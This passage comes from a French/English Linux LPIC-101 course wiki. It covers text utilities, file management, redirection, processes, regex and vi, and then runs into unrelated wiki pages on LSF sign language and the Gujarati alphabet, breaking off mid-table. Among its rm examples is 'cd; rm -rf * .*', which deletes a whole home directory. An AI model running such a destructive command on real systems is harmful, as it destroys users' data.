Common options: -c: the byte size. -m: the number of character. -w: the number of word. -l: the number of line. -L: length of the longest line. Examples: wc *.[ch] # Diplay the number of lines, words, and characters for all files .c or .h. wc -L file # Display the size of the longest line. wc -w file # Display the number of words. Cutting fields in files To remove sections from each line of files, use cut. cut [options] [files...] The results are displayed to the standard output. Common options: -b #: Extract the byte at position #. -f #: Extract the field number #. Examples: cut -b 4 file # Extract and display the 4th byte of each line of file. cut -b 4,7 file # Extract and display the 4th and 7th byte of each line. cut -b -2,4-6, 20- file # Extract character 1 and 2, 4 to 6 and 20 to the end of the line for each line of file. cut -f 1,3 -d: /etc/passwd # Extract the username and ID of each line in /etc/passwd. The default delimiter is TAB but can be specified with -d. === Characters convesion === To translate the stdin to stdout, use tr. tr [options] SET1 SET2 Common options: -d: delete character in SET1. -s: replace sequence of character in SET1 by one. Examples: tr ‘a‘ 'A' # Translate lower a with A tr ‘[A-Z]’ ‘[a-z]’ # Translate uppercase to lowercase tr -d ‘ ‘ # Delete all spaces from file To convert tabs to spaces, use expand and to convert spaces to tabs, use unexpand. expand file unexpand file === Lines manipulation === To paste multiple lines of files, use paste. paste [options] [files...] Common options: -d #: delimiter: Use # for the delimiter. -s: serial: paste one file at the time. Examples: paste f1 f2 # Display line of f1 follow by f2. paste -d: file1 file2 # Use ':' for the delimiter. To join multiple lines of files, use join. join file1 file2 To remove duplicated line, use uniq. uniq [options] [files...] Common options: -d: only print duplicated lines. -u: only print unique lines. Examples: uniq -cd file # Display the number of duplicated line. Splitting files To split big files, use split. split [options] file Common options: -l #: split every # lines. -b #: split file in bytes or b for 512 bytes, k for 1Kbytes, m for 1 Mbytes. Examples: split -l 25 file # Split file into 25-line files. split -b 512 file # Split file into 512-byte files. split -b 2b file # Split file into 2*512-byte files. === Formating for printing === To format a file, use fmt. fmt [options] [files...] Common options: -w #: maximum line width. Examples: $ fmt -w 35 file # Display 35-character lines width. To format a file for a printer, use pr. pr [options] [files...] Common options: -d: double space. Examples: $ pr -d file # Format file with double-space. Sort lines of text files To sort the lines of the names files, use sort. sort [options] file The results are displayed to the standard output. Common options: -r: Reverse -f: Ignore case -n: Numeric -o: file: Redirect output to file -u: No duplicate records -t;: Use ';' as delimiter, rather than tab or space. Examples: sort file -r sort file -ro result Binary file dump To dump a binary file, use od. od [options] file The results are displayed to the standard output and start with an offset address in octal. Common options: -c: each byte as character -x: 2-byte in hex -d: 2-byte in decimal -X: 4-byte in hex. -D: 4-byte in decimal. Examples: $ od -cx /bin/ls 0000000 177 E L F 001 001 001 \0 \0 \0 \0 \0 \0 \0 \0 \0 457f 464c 0101 0001 0000 0000 0000 0000 0000020 002 \0 003 \0 001 \0 \0 \0 224 004 \b 4 \0 \0 \0 0002 0003 0001 0000 9420 0804 0034 0000 0000040 ° ² \0 \0 \0 \0 \0 \0 4 \0 \0 006 \0 ( \0 b2b0 0000 0000 0000 0034 0020 0006 0028 0000060 032 \0 031 \0 006 \0 \0 \0 4 \0 \0 \0 4 200 004 \b 001a 0019 0006 0000 0034 0000 8034 0804 === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Use wildcard characters and list all filenames that contain 'x' follow by 'in' in the /etc directory. # Use wildcard characters and list all filenames that start with any character between 'a' and 'e' that have at least two more characters and do not end with a number. # Use wildcard characters and list all filenames of exactly 4 characters and all filenames starting with an uppercase letter. Do not descend into any directory found. # Use wildcard characters and list all files that contains 'sh' in /bin. # Display you environment variable HOME preceded by the string "$HOME value is:" # Display the contents of $SHELL with two asterisk characters before and after it. # How would you display the following string of characters as is with echo using double quote and \. #* @ # $ % ^ & * ( ) ' " \ # Compose echo commands to display the following two strings: #* That's what he said! #* 'Never Again!' he replied. # Display the number of words in all files that begin with the letter h in the /etc directory. # How would you send a 2M file with two 1.44M floppy. How would you put back together the splitted file? # What is the command to translate the : delimiter in /etc/password by #? == Gestion de base des fichiers == === Objectifs === Description: ''Les candidats devraient etre en mesure d'utiliser les commandes de base UNIX pou copier, déplacer, et retirer des fichiers et des directory. Ces taches regroupent les opérations avancées de gestion de fichier tel que la copie recursive de fichiers multiples, retirer des directory recursivement, et deplacer des fichiers qui rencontre " a wildcard pattern". Cela inclus d'utiliser les spécifications simples et avancés de "wildcard" pour se referer aux fichiers, aussi bien que d'utiliser find pour localiser et agir sur les fichiers en se basant sur le type, la taille, et le temps(time).'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>cp<br> find<br> mkdir<br> mv<br> ls<br> rm<br> rmdir<br> touch</tt><br> <i>file globbing</i><br> cp: Copy files and directories. ls: List directory contents. === Créer et supprimer des répertoires === To create a directory, use mkdir. mkdir [options] dir Common options: :-m mode: set permission mode. Default use umask. :-p parent: create parent directory as needed. Examples: mkdir -m 0700 bin mkdir -p bin/system/x86 To delete an empty directory, use rmdir. rmdir [options] dir Common options: :-p parent: remove empty subdirectories. Examples: rmdir tmp rmdir -p bin/system/x86 ==== Copier des fichiers et des répertoires ==== Pour copier une fichier en un autre, ou vers un répertoire, utiliser la commande ''cp''. cp [options] source target Source et target peuvent être un fichier ou un répertoire. Common options: :-i interactive: prompt to overwrite :-r recursive: copy the subdirectories and contents. Use -R for special files. :-f force: force the overwriting The default is to silently clobber the target file. Does not alter the source. Examples: cp *.[a-z] /tmp cp readme readme.orig cp ls /bin cp -ri bin/* /bin === Déplacer et renommer des fichiers === Pour renommer un fichier, un répertoire ou pour déplacer un fichier ou un répertoire vers un autre endroit, utilisez ''mv''. mv [options] source target Source et target peuvent être un fichier ou un répertoire. Common options: -i interactive: prompt to overwrite -f force: force the overwriting -v verbose The default is to silently clobber the target file. Does not alter the srcfile. Examples: mv *.[a-z] /tmp mv readme readme.orig mv ls /bin mv -fi bin/* /bin === Afficher une liste de fichiers et des informations === The command to list files in the current directory is ls. ls [options] [filenames] Common options are: :-l for a long format :-F Append a file type character :-a All files, including hidden :-R Recursive listing of subtree :-d Do not descend into directory The ls is equivalent to the dir command on DOS. Examples of ls output: ls -l /bin/ls -rwxr-xr-x 1 root root 46784 mar 23 2002 /bin/ls ls -ld /bin drwxr-xr-x 2 root root 2144 nov 5 11:55 /bin ls -a . .bash_history .bash_profile .bashrc ... ls -dF /etc .bashrc /bin/ls .bashrc /bin/ls* /etc/ === Types de fichiers === The long format means: ls -l /etc/hosts #List a long format of the file hosts -rw-r—r-- 1 root root 677 Jul 5 22:18 /etc/hosts ==== Contenu des fichiers et emplacement ==== Linux/Unix does not distinguish file by filename extension, like Windows. To determine the file content use file. file /etc .bashrc /bin/ls /dev/cdrom /etc: directory .bashrc: ASCII English text /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped /dev/cdrom: symbolic link to /dev/hdc To determine if a command is a built-in shell command or a program, use type, and use which to find its location. type cp cd ls which type cp is /bin/cp cd is a shell builtin ls is aliased to `ls $LS_OPTIONS' which is aliased to `type -p' type is a shell builtin which cut /usr/bin/cut === Créer et utiliser des fichiers === Les noms de fichiers peuvent être créer avec les redirections I/O : cat chapter1 chapter2 > book Un éditeur comme vi : vi mynewfile Plein d'utilitaires UNIX : cp file newfile Une application netscape La commande touch, qui créée des fichiers vides touch memo Un nom de fichier valide : :a maximum 255 caractères :doit respecter la casse (majuscules, minuscules,...) :peut comporter tous les caractères sauf l'anti-slash '\' Recommended alphanumeric characters as well as plus, minus, and underscore characters. Characters to avoid :Hypen character. touch my-file -lt :White space. touch more drink touch "more drink" :Most other special characters !@#$%^&*():;"'}{|\<,>.?~` touch memo* === Supprimer des fichiers et des répertoires === To remove files or subtree directories, use rm. rm [options] files Files can be a file or a directory. Common options: :-i interactive: prompt to for each removal :-f force: force the overwriting :-r recursive: remove subtree directories and contents There is no unremove or undelete command. Examples: rm *.[a-z] rm readme readme.orig rm ls /bin rm -rfi /bin cd; rm -rf * .* === Trouver des fichiers dans l'arbre d'un sous-répertoire === To search for a file in a subtree directory, use find. find [subtrees] [conditions] [actions] The command can take multiple conditions and will search recursively in the subtree. Some possible conditions are: :-name [FNG] # Search fo the FNG name :-type c # Type of file [bcdfl] :-size [+-]# # Has a +- size in blocks (c:bytes,k:kilo) :-user [name] # Own by user :-atime [+-]# # Accessed days ago +n means not been accessed for the last n days -n means been accessed the last ndays. :-mtime [+-]# # Modified days ago :-perm nnn # Has permision flags nnn Some possible actions are: :-print # Print the pathname :-exec cmd {} \; # Execute cmd on the file :-ok cmd {} \; # Same as -exec but ask first Examples find . -name '*.[ch]' -print find /var /tmp . -size +20 -print find ~ -type c -name '*sys*' -print find / -type f -size +2c -exec rm -i {} \; find / -atime -3 -print find ~jo ~toto -user chloe -exec mv {} /tmp \; ==== whereis and which ==== To locate a binary, source file, or man pages, use whereis. whereis [options] Common options: :-b: Search only for binaries. :-m: Search only for manual sections. :-s: Search only for sources. Examples: whereis host host: /usr/bin/host /etc/host.conf /usr/share/man/man1/host.1.gz whereis -m host host: /usr/share/man/man1/host.1.gz To locate a file located somewhere defined by the PATH variable, use which. which -a ls /bin/ls The -a will look for all possible matches in PATH, not just for the first one. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Compose an interactive command to remove all .tmp file in your home directory. Respond y to every prompt. # List all the files in users home directories ending with .pdf that are bigger than 50 blocks and have not been accessed for a month. # Create a file file.h that will contain all the filenames ending with .h found in the /usr directory. # Do a touch on all the c files found in /usr/src/packages directory. # What are the default permissions when you create a new file and a new directory? # How would you create a new file or directory that contains a space in the filename? (Example: 'new dir') # What is the command to remove all the files of type char and block in your home directory? # How to find the location of the programm find ? # Delete all files in /tmp witch are not owned by root and have not been accessed for a week. == Utiliser les streams, pipes, et redirections == === Objectifs === Description: ''Les candidats devraient etre en mesure de rediriger les flux(streams) et de les connecter de façon à effectuer avec efficience des données texte (process textual data). Ces taches inclues les redirection standard, les erreurs standard, faire un pipe sur sur le resultat d'une commande vers l'entrée d'une autre commande(piping), utiliser la sortie d'une commande (output) comme argument d'une autre commande et d'envoyer la sortie à la fois vers la sortie standard(stdout) et un fichier.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>tee<br> xargs<br> <<br> <<<br> ><br> >><br> |<br> ` `</tt> === Entrée et sortie standard === For each command executed in a terminal, there are: a standard input value 0. (default keyboard) a standard output value 1.(default terminal) and a standard output for the errors value 2. (default terminal). Each channel can also be identified by an address: &0 for input, &1 for output, And &2 for errors. Each channel [n] can be redirected. [n]< file: Default value of n is 0 and it reads standard input from file. [n]> file: Default value is 1 and it sends standard output to file. (clobber) [n]>>file: Default value is 1 and it appends standard output to file. <<word: Read standard input until word is reached. `command`: Substitute the command name by the result. Examples: $ pwd > file # out=file in=none error=terminal. cat chap* >book # out=book in=none error=terminal. mv /etc/* . 2>error # out=terminal in=none error=error. echo end of file >> book # out=book in=none error=terminal. set -o noclobber # Shell does not clobber existing files. ls > list 2>&1 # ls and errors are redirected to list. ls 2>&1 > list # Errors are redirected to standard output and ls output is redirected to list. cat `ls /etc/*.conf` > conffile 2>>/tmp/errors ''Concatenate all the configuration files from /etc dir in conffile and append errors in file /tmp/errors.'' Redirecting with pipes Pipes are an efficient way to apply multiple commandes concurrently. command1 | command2 The standard output of command1 will be piped to the standard input of command2. The standard error is not piped. Examples: ls -l /dev | more ls -l /etc/*.conf | grep user | grep 500 ls -l /bin | mail `users` To redirect the standard output to a file and to the terminal at the same time, use tee. ls -l /dev | tee file ls -l /etc | tee -a file # Append to the file Building arguments The xargs utility constructs an argument list for a command using standard input. xargs [options] [command] The xargs command creates an argument list for command from standard input. It is typically used with a pipe. Common options: -p: prompt the user before executing each command. Examples: ls f* | xargs cat # Print to standard output the content of all files starting with f. find ~ -name 'proj1*' print | xargs cat ''Search in the Home directory for files starting with proj1 and send it to the standard input of cat.'' Use the /dev/null device file to discard output or error messages. Try the following: grep try /etc/* grep try /etc/* 2> /dev/null grep try /etc/* > /dev/null 2> /dev/null === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Create a file list.bin that will contain all the filenames from /bin directory. # Write a command that will append the list of files from /usr/local/bin to the file named list.bin and discard any error output. # Split list.bin file into files that are 50 lines long and remove list.bin. # From the splitted files create back list.bin. but with inversed order. # Simplify the following commands: ls *.c | xargs rm ls [aA]* | xargs cat cat `ls *.v` 2>/dev/null # Use find to do the following command: more `ls *.c` # Write a command that will create a file list.sbin with the contents of /sbin and at the same time display it to standard output. # Create a file that within the filename you include the creation time. # Create a file that will contain all the filename in reverse order with extension .conf from the /etc directory. == Créer, surveiller et terminer des processus == === Objectifs === Description: ''Les candidats devraient pouvoir gerer les processus. Cela comprend la compréhension de la façon d'executer un job en tache de fond ou non( foreground and background), de modifier leur statut(background vers foreground et vice versa), demarrer un processus qui s'executera sans connection à un terminal et signaler au programme de continuer aprés le logout. Les taches comprennent aussi la gestion des processus actifs, en selectionnant et triant les processus pour visualisation, en envoyant des signaux au processus, en tuant des processus et identifiant et tuant des aplications X qui ne se sont pas arretés alors que la session X est close.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>&<br> bg<br> fg<br> jobs<br> kill<br> nohup<br> ps<br> top</tt> === Créer des processus === A running application is a process. Every processes have: A process ID. A parent process ID. A current directory PWD. A file descriptor table. A program which it is executing. Environment variables, inherited from its parent process. Stdin, stdou, and stderr Other Bash is a program that when it is executed becomes a process. Each time you execute a command in a shell a new process is created. Except for the buil-in shell command. They run in the shell context. Use type to check if a command is a built-in shell command. Example type cp ls which type Monitor processes Once the system is up and running from a terminal it is possible to see which processes are running with the ps program. To display a long format of all the processes in the system, do: ps -Al F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 004 S 0 1 0 0 80 0 - 112 do_sel ? 00:00:04 init 004 S 0 381 1 0 80 0 - 332 do_sel ? 00:00:00 dhcpcd 006 S 0 1000 1 0 80 0 - 339 do_sel ? 00:00:00 inetd 044 R 0 1524 1222 0 79 0 - 761 - pts/3 00:00:00 ps The ps program will display all the processes running and their PID numbers and other information. To see a long format of the processes in your login session, do a: ps -l F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 000 S 500 1154 1139 0 80 0 - 724 wait4 pts/1 00:00:00 bash 002 S 500 1285 1283 0 77 0 - 24432 wait_f pts/1 00:00:00 soffice.bin 040 R 500 1442 1435 0 79 0 - 768 - pts/4 00:00:00 ps F: Process Flags 002: being created, 040: forked but didn't exec, 400: killed by a signal. S: Process States: R: runnable, S: sleeping, Z: zompbie UID: User ID, PID: Process ID, PPID: Parent Process ID, C: Scheduler, PRI: priority NI: Nice value, SZ: size of routine, WCHAN: name of routine === Surveiller des processus === To monitor the processes in real-time, use top. top 9:20am up 2:48, 4 users, load average: 0.15, 0.13, 0.09 78 processes: 75 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 15.3% user, 0.3% system, 0.0% nice, 84.2% idle Mem: 254896K av, 251204K used, 3692K free, 0K shrd, 27384K buff Swap: 514072K av, 0K used, 514072K free 120488K cached PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 1517 rarrigon 0 0 40816 39M 17372 R 15.0 16.0 2:59 mozilla-bin 1727 rarrigon 19 0 988 988 768 R 0.3 0.3 0:00 top 1 root 20 0 220 220 188 S 0.0 0.0 0:04 init 2 root 20 0 0 0 0 SW 0.0 0.0 0:00 keventd RSS: The total amount of physical memory used by the task. SHARE: The amount of shared memory used by the task. %CPU: The task's share of the CPU time. %MEM: The task's share of the physical memory. Once top is running it is also possible to execute interactive commands: Type N to sort tasks by pid. Type A to sort tasks by age (newest first). Type P to sort tasks by CPU usage. Type M to sort tasks by memory usage. Type k to kill a process (prompted for pid). === Terminer des processus === The ps program will display all the processes running and their PID numbers. Once the PID is known, it is possible to send signals to the process. SIGSTOP to stop a process. SIGCONT to continue a stopped process. SIGKILL to kill a process. The program to send a signal to a process is called kill. kill -SIGKILL [pid] kill -63 [pid] kill -l By default a process is started in foreground and it is the only one to receive keyboard input. Use CTRL+Z to suspend it. To start a process in backgroud use the &. bash & xeyes & Job control In a bash process it is possible to start multiple jobs. The command to manipulate jobs are: jobs # List all the active jobs bg %job # Resume job in background fg %job # Resume job in foreground kill %job # Kill background job When bash is terminated all processes that have been started from the session will receive the SIGHUP signal. This will by default terminate the process. To prevent the termination of a process, the program can be started with the nohup command. nohup mydaemon === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Modifier les priorités d'exécution des processus == === Objectifs === Description: ''Les candidats devraient pouvoir gerer les priorités d'execussion des processus. Ces taches inclues de lancer un programe avec une priorité haute ou basse, de determiner la priorité d'un processus et le changement de priorité d'un processus en cour.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>nice<br> ps<br> renice<br> top</tt> === Priorités === To start a command with an adjusted priority, use nice. nice -n +2 [command] nice -n -19 [command] The program nice changes the base time quantum of the scheduler. The value can go from -19 (highest priority) to +20 (lowest priority). The default value is 0. Must be root to set a value between 0 and 19. To modify the priority of a running program, use renice. Renice +1 -u root # Change the priority for all root processes. renice +2 -p 193 # Change the priority for PID 193 === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Quels processus utilisateur et root utilisent le plus de mémoire? # Ouvrez deux terminaux. Dans le premier, tapez ce qui suit : while [ 1 ] do echo -n The date is:; date; done From the other terminal see that you can stop and continue the print out. 3) Same start as 2) but, make the print out to stop for 3[s] and to continue for 1[s] repeatedly. 4) Make a shell script to renice all process called apache to a 19 value. 5) Do a print from ps formated as: “username”, “command”, “nice value” 6) Kill all the process called “bash” and owned by user polto. == Expressions régulières == === Objectifs === Description: ''Les candidats devraient pouvoir manipuler des fichiers et des données textes en utilisant les expressions réguliéres. Cet objectif inclu la création simple d'expression réguliéres contenant plusieurs éléments d'écriture. Ceci inclu aussi l'utilisation réguliére d'outils pour réaliser des recherches à travers un filesystem ou le contenu d'un fichier.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>grep<br> regexp<br> sed</tt> === Pattern matching === There are two kinds of pattern matching: * Wildcards (File Name Generation) * Regexp (Regular Expression) Wildcard characters are mainly applied when they are used in the current directory or subdirectories. When wildcard characters *, ?, [ - ], ~, and ! are used in regexp they no longer generate filenames. Some of the utilities that us regexp are: * grep, egrep * vi * more * sed * Perl Limited regexp search pattern Used by all utilities using regexp. * Any 1 char . Ab.a Abla or Abca * 1 char set [ ] Ab[sd]a Absa or Abda only * 1 char range [ - ] Ab[a-z]a Abaa or Abba or ... * Not in set [^ ] Ab[^0-9]a Abaa or Abba or ... * 0 or more * Ab*a Absala or Aba or ... * Begin line ^ ^Aba Line starts>Aba * End line $ Aba$ Aba<line ends * Literal \ Aba\$ Aba$ Example: Ab[0-3]s ^Ab\^bA [01]bin$ ^..\\ [^zZ]oro Combinations of limited regexp Combinaison used by all utilities using regexp. * Any string .* Ab.*a Abrahma or Abaa or ... * String from [ ]* th[aersti]* There or This or ... * Multi range [ - - ] Ab[0-2][a-c]a Ab0aa or Ab1aa or ... * Match \ \\ \\[a-zA-Z]* \Bethoven Examples: Ab[0-3][a-z]s ...$ ^[01]\^2 [0-9][a-z] \$ [a-zA-Z]* ^[^c-zC-Z]* ^[a-zA-Z0-9]$ Modifier patterns Replace strings matched by regexp patterns * Match m \{m\} b[0-9]\{3\} b911 * One or more \{m,\} b[0-9]\{2,\} b52 * Up to n \{m,n\} b[0-9]\{2,4\} b1234 * Begining of word \< \<wh where * End of word \> [0-9]\> bin01 === grep === To find text in a file, use grep. grep [options] [string] [files] Best to quote the string to prevent interpretation. Common options: -i: Ignore case -l: List filename only if at least one matches -c: Display only count of matched lines -n: Also display line number -v: Must not match. Examples: grep host /etc/*.conf grep -l '\<mai' /usr/include/*.h grep -n toto /etc/group grep -vc root /etc/passwd grep '^user' /etc/passwd grep '[rR].*' /etc/passwd grep '\<[rR].*' /etc/passwd === sed === To apply a command on a stream, use sed. sed [address1][,address2][!]command[options] [files...] The program sed will apply a command from address1 to address2 in a file. The address1 and address2 format are regular expressions. The sed program is a noninteractive editing tool. Examples: sed '1,3s/aa/bb/g' file # Replace in file from line 1 to 3 aa by bb. sed '/here/,$d' file # Delete line from here to the end. sed '/here/d' file # Delete lines with word here. sed '1,/xxx/p' file # Print lines from 1 to xxx. sed '/ll/,/ff/!s/maison/house/g' file # In file replace words maison by house excluding lines from ll to ff. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Copy all the files from /etc in your home direcory etc/. Display the contents of all the *.conf files by replacing the word host by machine. # Display the contents of all the *.conf files that don't contain the root word. What is the command using grep and sed? # Print out all the group names where root belongs to. # List all the group names that are 4 or 5 characters long. # List all the files that contain character lines without spaces (blank). # List in etc/ directory all the files that contain numerical characters. # Print with ls only the directory names in /. # Do “ps -aux” and replace user r_polto by root and print it in to a file called new_process.txt # List all process called apache and owned by a usernames starting by “p” or “P”. == Effectuer les modifications de base des fichiers avec vi == === Objectifs === Description: ''Les candidats devraient pouvoir éditer des fichiers texte en utilisant vi. Cet objectif inclu la navigation dans VI, les nodes de base VI, insertion, édition, effacement, et recherche de texte.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>vi</tt><br> <i>/, ?<br> h,j,k,l<br> G, H, L<br> i, c, d, dd, p, o, a<br> ZZ, :w!, :q!, :e!<br> <nowiki>:!</nowiki></i><br> === vi === When using X-Windows, you can use mouse oriented editors such as xedit. In a cross-development environment, users use their favorite editor. On a non-windowing system, you only need a keyboard editor such as vi. The vi editor on Linux is the same as on any Unix systems. vi has two modes: * Command mode: Anything you type will be interpreted as a command * Input mode: Anything you type will be inserted into the file Transition from one mode to another Command mode to Input mode: i, I, a, A, o, O keys Input mode to Command mode: ESC key The default starting mode is the Command mode The file configuration .exrc can be created in your HOME directory to setup some vi behavior. set ignorecase # No case-sensitive set tabs=3 # 3 space for tab character Perform basic file editing using vi Enter Input Mode * i before cursor * I at start of line * a after cursor * A at end of line * o open line below * O open line above Delete * dw delete word * dd delete line * D delete to end of line * x delete char at cursor Move cursor * l one space right * h one space left * j one line down * k one line up * $ end of line * ^ start of line * w next word * e end of word === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] * Demo * Insertion mode * Command mode * Editing/Replace/Join/Truncate * Search/Search and replace * Commands ex</pre> LSF:Exercises:Chiffres ABC/Vidéo 1034 12687 2004-11-16T14:55:58Z Kowey 113 * En format ogg: [[Media:Lsf exo chiffres.ogg]] {{LSF vidéo}} {{LSF entendant}} Modèle:LSF vidéo 1035 12688 2005-01-23T16:00:36Z Kowey 113 #REDIRECT [[Modèle:LSF]] Modèle:LSF exercice inversible 1036 12689 2005-01-21T21:07:35Z Kowey 113 cet exercice... pas tous les exercices Cet exercice est inversible. C'est à dire, vous pouvez les travailler * en dictée: regarder les vidéos, les traduire en français, puis comparer avec le [[{{PAGENAME}}/Texte|texte]] * en exercice de traduction: essayer de traduire le [[{{PAGENAME}}/Texte|texte]] en LSF, et puis comparer avec les vidéos. LSF:Exercises:Chiffres ABC/Video 1038 12691 2004-11-16T14:48:12Z Kowey 113 LSF:Exercises:Chiffres ABC/Video déplacé vers LSF:Exercises:Chiffres ABC/Vidéo #REDIRECT [[LSF:Exercises:Chiffres ABC/Vidéo]] LSF/Exercices/Chiffres ABC 1039 12692 2005-03-03T14:12:07Z Kowey 113 {{LSF}} Ce exercise est fait pour vous faire travailler des chiffres ressemblants. * La vidéo: [[Media:Lsf exo chiffres abc.ogg]] {{LSF exercice inversible}} Enseignement du gujarati 1040 29924 2006-01-23T12:08:09Z Boly38 136 +cat Langue {{gujarati}} Le '''gujarati''' est une langue indo-européenne parlée en Gujarat, un État de l'ouest de l'Inde et dans de nombreux pays où des Indiens ont émigrés. Elle s'écrit de gauche à droite à l'aide d'un alphabet propre dérivé de la '''devanagari''', un alphabet (en fait un '''[[w:alphasyllabaire|alphasyllabaire]]''') comprenant 47 caractères. C'est une langue essentiellement phonétique qui a peu d'exceptions. * [[Alphabet gujarati]] * [[Grammaire du gujarati]] ** [[Genre (gujarati)|Genre]] ** [[Pluriels (gujarati)|Pluriels]] ** [[Conjugaisons (gujarati)|Conjugaisons]] *** [[Présent (conjugaison gujaratie)|Présent]] *** [[Passé (conjugaison gujaratie)|Passé]] *** [[Futur (conjugaison gujaratie)|Futur]] ** [[Pronoms (gujarati)|Pronoms]] * [[Vocabulaire (gujarati)|Vocabulaire]] ** [[Nombres (gujarati)|Nombres]] ** [[Relations familiales (gujarati)|Relations familiales]] == Voir aussi == * [[w:Gujarati|Gujarati]] (Wikipédia) * [[w:Alphabet gujarati|Alphabet gujarati]] (Wikipédia) * [[wikt:Catégorie:gujarati|Mots gujarati dans Wiktionnaire]] * [http://fr.wiktionary.org/w/wiki.phtml?title=Special:Whatlinkshere&target=Mod%C3%A8le%3Agu Mots français traduits en gujarati] * [[Wikt:gu:|Wiktionary en gujarati]] * [[w:gu:|Wikipédia en gujarati]] * [[Enseignement du hindi]] == Liens externes == * [http://www.geocities.com/matthewblackwell/gujaratiEditor.html Editeur pour le gujarati] [[en:Gujarati]] [[Catégorie:Langue|Gujarati]] Modèle:LSF exercise 1041 23780 2005-10-21T04:11:09Z Jusjih 513 La fin de la double redirection #REDIRECT [[Modèle:LSF exercice inversible]] LSF:Exercises:Chiffres ABC 1042 22610 2005-10-06T03:39:21Z Jusjih 513 La double redirection est terminée. #REDIRECT [[LSF/Exercices/Chiffres ABC]] LSF:Exercises de dactyologie et chiffres 1043 22611 2005-10-06T03:40:49Z Jusjih 513 La double redirection est terminée. #REDIRECT [[LSF/Exercices de dactyologie et chiffres]] Modèle:Gujarati 1044 12697 2004-11-16T17:57:20Z Yann 2 {| style="border:1px black solid; margin=5px 5px 1em 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:Gujarati.png|150px|Gujarati]] |- | *[[Enseignement du gujarati]] **[[Alphabet gujarati]] ***[[Combinaisons des consonnes (gujarati)|Combinaisons]] **[[Grammaire du gujarati|Grammaire]] *** [[Genre (gujarati)|Genre]] *** [[Pluriels (gujarati)|Pluriels]] *** [[Conjugaisons (gujarati)|Conjugaisons]] *** [[Pronoms (gujarati)|Pronoms]] ** [[Vocabulaire (gujarati)|Vocabulaire]] *** [[Nombres (gujarati)|Nombres]] *** [[Relations familiales (gujarati)|Relations familiales]] |} Image:Gujarati.png 1045 12698 2004-11-16T17:58:55Z Yann 2 Gujarati {{GFDL}} Vincent Ramos Gujarati {{GFDL}} Vincent Ramos Alphabet gujarati 1046 12699 2004-11-20T20:57:58Z Yann 2 en: {{gujarati}} L'alphabet utilisé en [[w:gujarati|gujarati]], est un système phonétique de 47 caractères, dont 13 voyelles et 34 consonnes. En principe, un même signe représente toujours un même son. Les sons ''eu'' (cheveu) et ''u'' (rue) n'existent pas. Les consonnes sont toujours représentées avec la voyelle <font size="+2">અ</font> (''a'' (court) ou ''e muet''), mais celle-ci n'est pas écrite quand elle est précédée d'une consonne. On utilise le signe <font size="+1">् &nbsp;</font> pour indiquer qu'une consonne n'est pas suivie d'une voyelle. Les difficultés sont principalement de deux sortes : # la plupart des consonnes peuvent se combiner entre elles pour former des [[combinaisons des consonnes (gujarati)|combinaisons]]. # les voyelles s'écrivent différemment suivant leur position dans un mot, au début ou non, et lorsqu'elles suivent une consonne ou une autre voyelle. == Combinaisons consonnes-voyelles == Par exemple, les combinaisons de la consonne <font size="+2">ક</font> (''k'') avec les voyelles : * <font size="+2">ક્ </font> + <font size="+2">અ</font> = <font size="+2">ક</font> * <font size="+2">ક્ </font> + <font size="+2">આ</font> = <font size="+2">કા</font> * <font size="+2">ક્ </font> + <font size="+2">ઇ</font> = <font size="+2">કિ</font> * <font size="+2">ક્ </font> + <font size="+2">ઈ</font> = <font size="+2">કી</font> * <font size="+2">ક્ </font> + <font size="+2">ઉ</font> = <font size="+2">કુ</font> * <font size="+2">ક્ </font> + <font size="+2">ઊ</font> = <font size="+2">કૂ</font> * <font size="+2">ક્ </font> + <font size="+2">ઋ</font> = <font size="+2">કૃ</font> * <font size="+2">ક્ </font> + <font size="+2">એ</font> = <font size="+2">કે</font> * <font size="+2">ક્ </font> + <font size="+2">ઐ</font> = <font size="+2">કૈ</font> * <font size="+2">ક્ </font> + <font size="+2">ઓ</font> = <font size="+2">કો</font> * <font size="+2">ક્ </font> + <font size="+2">ઔ</font> = <font size="+2">કૌ</font> Cas particuliers : * <font size="+2">ર્ </font> + <font size="+2">ઉ</font> = <font size="+2">રુ</font> * <font size="+2">ર્ </font> + <font size="+2">ઊ</font> = <font size="+2">રૂ</font> == Alphabet == Voici l'alphasyllabaire dans l'ordre « alphabétique ». Les voyelles sont en premier, suivies des consonnes. {| |----- !phonème !prononciation,<br />transcription !exemple<br />en français !exemple<br />en gujarati |----- | ''Voyelles'' |----- | <font size="+2"> અ </font> || ''a'' (court) ou ''e muet'' || || <font size="+2"></font> ('''', ) |----- | <font size="+2"> આ </font> || ''â'' (long) || || <font size="+2">આળસુ</font> (''âlsou'', paresseux) |----- | <font size="+2"> ઇ </font> || ''i'' (court) || || <font size="+2"></font> ('''', ) |----- | <font size="+2"> ઈ </font> || ''î'' (long) || r''i''re || <font size="+2"></font> ('''', ) |----- | <font size="+2"> ઉ </font> || ''ou'' (court) || || <font size="+2">ઉર્દૂ</font> (ourdou) |----- | <font size="+2"> ઊ </font> || ''oû'' (long) || || <font size="+2"></font> (''oûn'', laine) |----- | <font size="+2"> ઋ </font> || ''ri'' || || <font size="+2"></font> (''richi'', sage (personne)) |----- | <font size="+2"> </font> || || || <font size="+2">ઍન્જેલા</font> (Angela, prononciation anglaise) |----- | <font size="+2"> એ </font> || ''é'' || cl''é'' || <font size="+2">એક</font> (''ek'', un) |----- | <font size="+2"> ઐ 